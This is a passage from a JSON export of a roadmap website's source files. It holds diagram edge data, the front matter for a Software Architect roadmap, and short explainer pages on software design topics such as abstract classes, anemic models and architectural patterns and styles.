\"j9Y2YbBKi3clO_sZ2L_hQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"C0g_kQFlte5siHMHwlHQb\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmy2-C0g_kQFlte5siHMHwlHQbz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"j9Y2YbBKi3clO_sZ2L_hQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"6FDGecsHbqY-cm32yTZJa\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmy2-6FDGecsHbqY-cm32yTZJaz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"j9Y2YbBKi3clO_sZ2L_hQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"mCiYCbKIOVU34qil_q7Hg\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmy2-mCiYCbKIOVU34qil_q7Hgz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"j9Y2YbBKi3clO_sZ2L_hQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ulwgDCQi_BYx5lmll7pzU\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmy2-ulwgDCQi_BYx5lmll7pzUz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"j9Y2YbBKi3clO_sZ2L_hQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vpko5Kyf6BZ5MHpxXOKaf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmy2-vpko5Kyf6BZ5MHpxXOKafz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"j9Y2YbBKi3clO_sZ2L_hQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"s0RvufK2PLMXtlsn2KAUN\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmy2-s0RvufK2PLMXtlsn2KAUNz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"j9Y2YbBKi3clO_sZ2L_hQ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hjlkxYZS7Zf9En3IUS-Wm\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-j9Y2YbBKi3clO_sZ2L_hQx2-hjlkxYZS7Zf9En3IUS-Wmw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hjlkxYZS7Zf9En3IUS-Wm\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"LQlzVxUxM3haWRwbhYHKY\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmx2-LQlzVxUxM3haWRwbhYHKYw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hjlkxYZS7Zf9En3IUS-Wm\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"UyIwiIiKaa6LTQaqzbCam\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-hjlkxYZS7Zf9En3IUS-Wmy2-UyIwiIiKaa6LTQaqzbCamz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UyIwiIiKaa6LTQaqzbCam\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"cBWJ6Duw99tSKr7U6OW3A\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-UyIwiIiKaa6LTQaqzbCamz2-cBWJ6Duw99tSKr7U6OW3Ay1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cBWJ6Duw99tSKr7U6OW3A\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Mt5W1IvuHevNXVRlh7z26\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-cBWJ6Duw99tSKr7U6OW3Ax2-Mt5W1IvuHevNXVRlh7z26w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cBWJ6Duw99tSKr7U6OW3A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-cBWJ6Duw99tSKr7U6OW3Az2-EdJhuNhMSWjeVxGW-RZtLy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"igf9yp1lRdAlN5gyQ8HHC\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EdJhuNhMSWjeVxGW-RZtLz2-igf9yp1lRdAlN5gyQ8HHCy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"C0rKd5Rr27Z1_GleoEZxF\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EdJhuNhMSWjeVxGW-RZtLz2-C0rKd5Rr27Z1_GleoEZxFy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WoXoVwkSqXTP5U8HtyJOL\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EdJhuNhMSWjeVxGW-RZtLz2-WoXoVwkSqXTP5U8HtyJOLy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"XnvlRrOhdoMsiGwGEhBro\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EdJhuNhMSWjeVxGW-RZtLz2-XnvlRrOhdoMsiGwGEhBroy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OErbfM-H3laFm47GCHNPI\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EdJhuNhMSWjeVxGW-RZtLz2-OErbfM-H3laFm47GCHNPIy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"isavRe4ANVn77ZX6gNSLH\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EdJhuNhMSWjeVxGW-RZtLz2-isavRe4ANVn77ZX6gNSLHy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"l3oeo65FyV5HHvw5n_1wa\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EdJhuNhMSWjeVxGW-RZtLz2-l3oeo65FyV5HHvw5n_1way1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CxceVdaNCyKDhs0huDtcL\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EdJhuNhMSWjeVxGW-RZtLz2-CxceVdaNCyKDhs0huDtcLy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8yALyPVUZPtd7LX3GrO1e\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-EdJhuNhMSWjeVxGW-RZtLx2-8yALyPVUZPtd7LX3GrO1ew1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8yALyPVUZPtd7LX3GrO1e\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gdtI0H_PzzTj_aFQn_NeA\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-8yALyPVUZPtd7LX3GrO1ey2-gdtI0H_PzzTj_aFQn_NeAz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8yALyPVUZPtd7LX3GrO1e\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"TxWAznp1tUtZ1MvThf9M1\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-8yALyPVUZPtd7LX3GrO1ey2-TxWAznp1tUtZ1MvThf9M1z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8yALyPVUZPtd7LX3GrO1e\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5EVecZmvor09LjD7WR_Y9\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-8yALyPVUZPtd7LX3GrO1ey2-5EVecZmvor09LjD7WR_Y9z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8yALyPVUZPtd7LX3GrO1e\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"mOXyzdNn8W-9R99ffcnor\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-8yALyPVUZPtd7LX3GrO1ey2-mOXyzdNn8W-9R99ffcnorz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"PShueM-HfMGu2Jy1dt73g\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-STQQbPa7PE3gbjMdL6P-tx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kc6buUsLAeZeUb4Tk0apM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-kc6buUsLAeZeUb4Tk0apMx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8yALyPVUZPtd7LX3GrO1e\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-8yALyPVUZPtd7LX3GrO1ex2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"OaLmlfkZid7hKqJ9G8oNV\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"b6lCGw82qKpUmsxe1r1f5\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-OaLmlfkZid7hKqJ9G8oNVx2-b6lCGw82qKpUmsxe1r1f5w1\",\n      \"selected\": false\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/software-architect/software-architect.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/software-architect.json'\npdfUrl: '/pdfs/roadmaps/software-architect.pdf'\nrenderer: 'editor'\norder: 8\nbriefTitle: 'Software Architect'\nbriefDescription: 'Step by step guide to become a Software Architect in 2025'\ntitle: 'Software Architect'\ndescription: 'Step by step guide to becoming a Software Architect in 2025'\nisNew: false\nhasTopics: true\npartner:\n  description: \"Ready-to use free on/offboarding templates for new employees\"\n  link: \"https://www.silo.team/book-a-demo-silo-team?utm_source=affiliate1&utm_medium=referral&utm_campaign=free_onboarding_checklist\"\n  linkText: \"silo.team\"\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\ndimensions:\n  width: 968\n  height: 2525\nschema:\n  headline: 'Software Architect Roadmap'\n  description: 'Learn to become a Software Architect with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/software-architect.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Software Architect Roadmap'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for Software Architect. Learn to become a modern software architect by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'solution architect roadmap'\n    - 'solution architect roadmap 2025'\n    - 'enterprise architect roadmap'\n    - 'guide to becoming a software architect'\n    - 'db administrator roadmap'\n    - 'software architect roadmap 2025'\n    - 'software architect roadmap'\n    - 'software architect roadmap 2025'\n    - 'software architect skills'\n    - 'db administrator skills'\n    - 'become software architect'\n    - 'modern software architect skills'\n    - 'software architect skills test'\n    - 'skills for software architect'\n    - 'learn software architect'\n    - 'what is software architect'\n    - 'software architect quiz'\n    - 'software architect interview questions'\nrelatedRoadmaps:\n  - 'backend'\n  - 'software-design-architecture'\n  - 'python'\n  - 'golang'\n  - 'java'\n  - 'devops'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/abstract-classes@RMkEE7c0jdVFqZ4fmjL6Y.md",
    "content": "# Abstract Classes\n\nAn abstract class is a class in object-oriented programming (OOP) that cannot be instantiated. Instead, it serves as a template or blueprint for other classes to inherit from. An abstract class can contain both abstract and non-abstract methods (abstract methods are methods that do not have any implementation, they just have a signature).\n\nAbstract classes are used to provide a common interface and implementation for a group of related classes. They are also used to define common behavior that must be implemented by all subclasses. A subclass that inherits from an abstract class is called a concrete class, and it must provide an implementation for all the abstract methods declared in the parent class.\n\nVisit the following resources to learn more:\n\n- [@article@What is an Abstract Class in Object Oriented Programming](https://www.theserverside.com/definition/abstract-class)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/abstraction@VA8FMrhF4non9x-J3urY8.md",
    "content": "# Abstraction\n\nAbstraction is a concept in object-oriented programming (OOP) that refers to the process of hiding the implementation details of an object and exposing only its essential features. It enables the use of objects without the need to understand the underlying complexity of their internal structure and behavior.\n\nThere are two types of abstraction:\n\n*   Data abstraction: refers to hiding the internal representation of data and providing a simplified view of the data through a set of well-defined interfaces.\n*   Behavioral abstraction: refers to hiding the internal behavior of an object and providing a simplified view of its capabilities through a set of well-defined interfaces.\n\nVisit the following resources to learn more:\n\n- [@video@Tutorial - Abstraction](https://www.youtube.com/watch?v=OF55HZPE7lQ)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/anemic-models@nVaoI4IDPVEsdtFcjGNRw.md",
    "content": "# Anemic Models\n\nAn Anemic model, also known as an anemic domain model, is a type of domain model in which the domain objects only contain data (attributes) and lack behavior. An anemic model often results in the use of data-transfer objects (DTOs) and service layer to handle the behavior.\n\nAn anemic model is considered an anti-pattern in object-oriented programming (OOP) because it violates the principles of encapsulation and separation of concerns. In an anemic model, the behavior is separated from the data, and is typically implemented in a separate service layer, which can lead to a complex, tightly coupled, and hard-to-maintain codebase.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Anemic Domain Model](https://en.wikipedia.org/wiki/Anemic_domain_model)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/architectural-patterns@gJYff_qD6XS3dg3I-jJFK.md",
    "content": "# Architectural Patterns"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/architectural-patterns@jq916t7svaMw5sFOcqZSi.md",
    "content": "# Architectural Patterns\n\nArchitectural patterns are a set of solutions that have been proven to work well for specific types of software systems. They provide a common vocabulary and set of best practices for designing and building software systems, and can help developers make better design decisions. Some common architectural patterns include:\n\n*   Model-View-Controller (MVC): A pattern for separating the user interface, business logic, and data storage components of a system.\n*   Microservices: A pattern for building systems as a collection of small, independently deployable services that communicate over a network.\n*   Event-Driven: A pattern for building systems that respond to events and perform actions in response.\n*   Layered: A pattern for organizing a system into layers, with each layer providing a specific set of services to the layer above it.\n*   Pipe-and-Filter: A pattern for building systems as a series of independent, reusable processing elements that are connected together in a pipeline.\n*   Command-Query Responsibility Segregation (CQRS): A pattern for separating the handling of commands (which change the state of the system) from the handling of queries (which retrieve information from the system)\n*   Blackboard: A pattern for creating a centralized repository of information that can be accessed and modified by multiple independent modules or subsystems.\n*   Microkernel: A pattern that aims to minimize the amount of code running in kernel mode and move as much functionality as possible into user-mode processes.\n*   Serverless: A design pattern that allows developers to build and run applications and services without having to provision and manage servers.\n*   Message Queues and Streams: A pattern that decouples different components of a system and enables asynchronous communication between them.\n*   Event Sourcing: A pattern that stores all changes to the system's state as a sequence of events, rather than just the current state.\n\nVisit the following resources to learn more:\n\n- [@article@Overview - Architectural Pattern](https://en.wikipedia.org/wiki/Architectural_pattern)\n- [@video@Architecture Patterns Used In Enterprise Software Development](https://www.youtube.com/watch?v=BrT3AO8bVQY)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/architectural-principles@XBCxWdpvQyK2iIG2eEA1K.md",
    "content": "# Architectural Principles\n\nArchitectural principles refer to a set of guidelines or rules that are used to guide the design and development of a software architecture. These principles are intended to ensure that the resulting architecture is maintainable, scalable, and easy to understand and modify. Some common architectural principles include the separation of concerns, modularity, loose coupling, and high cohesion. Additionally, architectural principles are often used in conjunction with design patterns, which are reusable solutions to common software design problems.\n\nVisit the following resources to learn more:\n\n- [@article@Intro to Architectural Principles](https://learn.microsoft.com/en-us/dotnet/architecture/modern-web-apps-azure/architectural-principles)\n- [@video@Principles of Software Design](https://www.youtube.com/watch?v=TO9igqkPtfc)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/architectural-principles@dBq7ni-of5v1kxpdmh227.md",
    "content": "# Architectural Principles"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/architectural-styles@37xWxG2D9lVuDsHUgLfzP.md",
    "content": "# Architectural Styles\n\nArchitectural styles are sets of principles and constraints that define the characteristics of a software system. They provide a vocabulary and a framework for describing common system properties such as structure, behavior, and interaction. These styles act as blueprints, offering reusable solutions to recurring design problems and guiding the organization of components and their relationships within a software architecture. Examples of architectural styles include layered architecture, microservices, and event-driven architecture, each with its own strengths and weaknesses that make it suitable for specific scenarios.\n\nVisit the following resources to learn more:\n\n- [@video@Types of Architectural Styles in Software Engineering](https://www.youtube.com/watch?v=2Pp0BcXN9YY)\n- [@video@10 Architecture Patterns Used In Enterprise Software Development Today](https://www.youtube.com/watch?v=brt3ao8bvqy)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/architectural-styles@En_hvwRvY6k_itsNCQBYE.md",
    "content": "# Architectural Styles\n\nArchitectural styles in software refer to the overall design and organization of a software system, and the principles and patterns that are used to guide the design. These styles provide a general framework for the design of a system, and can be used to ensure that the system is well-structured, maintainable, and scalable.\n\nSome common architectural styles in software include:\n\n*   Microservices: where the system is built as a collection of small, independent, and loosely-coupled services.\n*   Event-Driven: where the system reacts to specific events that occur, rather than being continuously polled for changes.\n*   Layered: where the system is divided into a set of layers, each of which has a specific responsibility and communicates with the other layers through well-defined interfaces.\n*   Service-Oriented: where the system is built as a collection of services that can be accessed over a network.\n*   Data-Centric: where the system is focused on the storage, retrieval and manipulation of data, rather than the processing of data.\n*   Component-Based: where the system is composed of reusable and independent software components.\n*   Domain-Driven: where the system is organized around the core business domain and business entities.\n\nVisit the following resources to learn more:\n\n- [@article@What is Software Architecture & Styles?](https://study.com/academy/lesson/software-architecture-styles-patterns-components.html)\n- [@video@Types of Architectural Styles in Software Engineering](https://www.youtube.com/watch?v=2Pp0BcXN9YY)\n- [@video@10 Architecture Patterns Used In Enterprise Software Development Today](https://www.youtube.com/watch?v=brt3ao8bvqy)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/avoid-hasty-abstractions@9naCfoHF1LW1OEsVZGi8v.md",
    "content": "# Avoid Hasty Abstractions\n\nCreating abstractions is an important part of software development, but creating too many abstractions or creating them too early can lead to unnecessary complexity and make the code harder to understand and maintain.\n\nHere are some ways to avoid hasty abstractions in system architecture:\n\n- Understand the problem that needs to be solved before creating an abstraction.\n- Start with a simple solution and only create an abstraction when it becomes clear that the solution is becoming too complex.\n- Use code refactoring techniques to simplify the code before creating an abstraction.\n- Avoid creating abstractions for the sake of creating abstractions.\n- Use established design patterns and practices when creating abstractions, but do not force them into the code.\n- Use automated testing to ensure that the abstraction does not introduce new bugs or break existing functionality.\n- Create abstraction in a way that it's easy to test, debug, and reason about.\n\nLearn more from the following links:\n\n- [@article@AHA Programming](https://kentcdodds.com/blog/aha-programming)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/avoid-passing-nulls-booleans@yyKvmutbxu3iVHTuqr5q4.md",
